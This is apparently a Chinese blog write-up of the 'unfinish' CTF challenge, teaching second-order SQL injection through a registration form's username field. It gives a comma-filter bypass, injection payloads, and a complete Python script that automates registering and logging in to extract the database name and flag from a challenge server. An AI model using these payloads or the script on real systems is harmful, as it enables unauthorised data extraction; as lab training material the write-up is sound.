• 攻防世界----unfinish


    知识点:SQL二次注入

    sql注入流程:找到注入点,进行fuzz测试,根据fuzz测试结果绕过,查flag

    1.拿到题目后,先进行目录扫描

    2.经过一系列测试:包括在register页面注册,然后去login页面查看

    发现,在register页面的username字段是可以回显的

    为什么要在username字段测试注入点,而不是在邮箱或者密码?

    因为我们能看到username的回显。

     

    判断注入点

    在用户名处输入

    0' and '1

     

     

    确定了存在注入 

    3.进行fuzz测试,看能不能找到被过滤的关键字

    尝试对username字段进行fuzz测试

    测试范围为所有的单字符(ascii值33-127)

     长度为904的报文被过滤了,也就是逗号

    目前看来,只过滤了逗号 

    逗号的绕过:from for绕过

    substr(database(),1) -> substr(database() from 1 for 1)

    payload如下

    username: 0' + ascii(substr(database() from 1 for 1)) +'0

    原因:

    在注册界面,有三个字段因此我们猜测原句为

    insert('邮箱','用户名','密码')

    而用户名是可以存在注入,并且具有回显的

    为什么要用 0?

    ascii可以将字符转化为ascii的值,0+任何数字都等于原字符,用其他数字也是可以的

    0附近的两个单引号是为了闭合原句的单引号,如下

    insert('邮箱','0' + ascii(substr(database() from 1 for 1)) +'0','密码')

    第二个payload为

    0' + ascii(substr(database() from 2 for 1)) +'0

     

    接下来就是写脚本,让脚本帮我们爆破。 

    脚本思路:在register页面进行注册

    账号就 111@163.com? 对?进行递增

    用户名就是正常的盲注

    密码就是 admin

    注册好后,去login.php页面,拿邮箱和密码登录,然后获取到回显的用户名

    利用chr()函数将数字转化为字母

    脚本可以去wp里拿

    1. import requests
    2. import re
    3. register_url = "http://61.147.171.105:64712/register.php"
    4. login_url = "http://61.147.171.105:64712/login.php"
    5. database = ""
    6. table_name = ""
    7. column_name = ""
    8. flag = ""
    9. #获取数据库名
    10. for i in range(1,10):
    11. register_data = {
    12. 'email':'test@test'+ str(i),
    13. 'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
    14. 'password':123
    15. }
    16. r = requests.post(url=register_url,data=register_data)
    17. login_data = {
    18. 'email':'test@test'+ str(i),
    19. 'password':123
    20. }
    21. r = requests.post(url=login_url,data=login_data)
    22. match = re.search(r'\s*(\d*)\s*',r.text)
    23. asc = match.group(1)
    24. if asc == '0':
    25. break
    26. database = database + chr(int(asc))
    27. print('database:',database)
    28. #获取表名
    29. '''
    30. for i in range(1,20):
    31. register_data = {
    32. 'email':'test@test'+ str(i),
    33. 'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
    34. 'password':123
    35. }
    36. r = requests.post(url=register_url,data=register_data)
    37. print(r.text)
    38. login_data = {
    39. 'email':'test@test'+ str(i),
    40. 'password':123
    41. }
    42. r = requests.post(url=login_url,data=login_data)
    43. r.encoding = r.apparent_encoding
    44. print(r.text)
    45. match = re.search(r'\s*(\d*)\s*',r.text)
    46. asc = match.group(1)
    47. if asc == '0':
    48. break
    49. table_name = table_name + chr(int(asc))
    50. print('table_name:',table_name)
    51. '''
    52. #获取flag
    53. for i in range(1,100):
    54. register_data = {
    55. 'email':'test@test'+ str(i) + str(i),
    56. 'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
    57. 'password':123
    58. }
    59. r = requests.post(url=register_url,data=register_data)
    60. login_data = {
    61. 'email':'test@test'+ str(i) + str(i),
    62. 'password':123
    63. }
    64. r = requests.post(url=login_url,data=login_data)
    65. match = re.search(r'\s*(\d*)\s*',r.text)
    66. asc = match.group(1)
    67. if asc == '0':
    68. break
    69. flag = flag + chr(int(asc))
    70. print('flag:',flag)

    脚本解说

    1.re.search(r'\s*(\d*)\s*', res_.text)

    因为用户名在html中是这么显示的

     因此我们需要用到research函数结合正则匹配

    1. re.search(r'\s*(\d*)\s*', res_.text)
    2. \s匹配空白符
    3. \d匹配数字

    python正则表达式re.search()怎么使用? | w3c笔记 (w3cschool.cn)

     2.asc = match.group(1)

    原因:group(n)匹配第n个括号内的值

    上文中 group(1) 就是匹配到 (\d*)也就是我们要的数字

    1. import re
    2. content = "abc123def"
    3. rex_compile = re.compile("([a-z]*)([0-9]*)([a-z]*)")
    4. rex = rex_compile.search(content)
    5. print(rex.group())
    6. print(rex.group(0)) # group()和group(0) 一样匹配的是整体
    7. print(rex.group(1)) # 匹配第一个小括号的内容
    8. print(rex.group(2)) # 匹配第二个小括号的内容
    9. print(rex.group(3)) # 匹配第三个小括号的内容

    3.注意点

    由于用户名是有限制的,因此在跑表名的时候会因为这个问题导致失败,需要手工去跑

  • 相关阅读:
    盘点JAVA中基于CAS实现的原子类, 你知道哪些?
    使用人性化的Linux防火墙CFW阻止DDOS攻击
    基于springboot的房屋租赁系统
    Hive DDL常见操作
    PWR电源控制
    Java-SPI源码剖析
    AI学习路线
    固定资产管理系统的作用有哪些
    超详细的Python实现MySQL数据库基本操作,今天小编给大家整理好了
    Python3 安装 Matplotlib 报错 pip 无法卸载 pillow 解决方案
  • 原文地址:https://blog.csdn.net/qq_44418229/article/details/126114762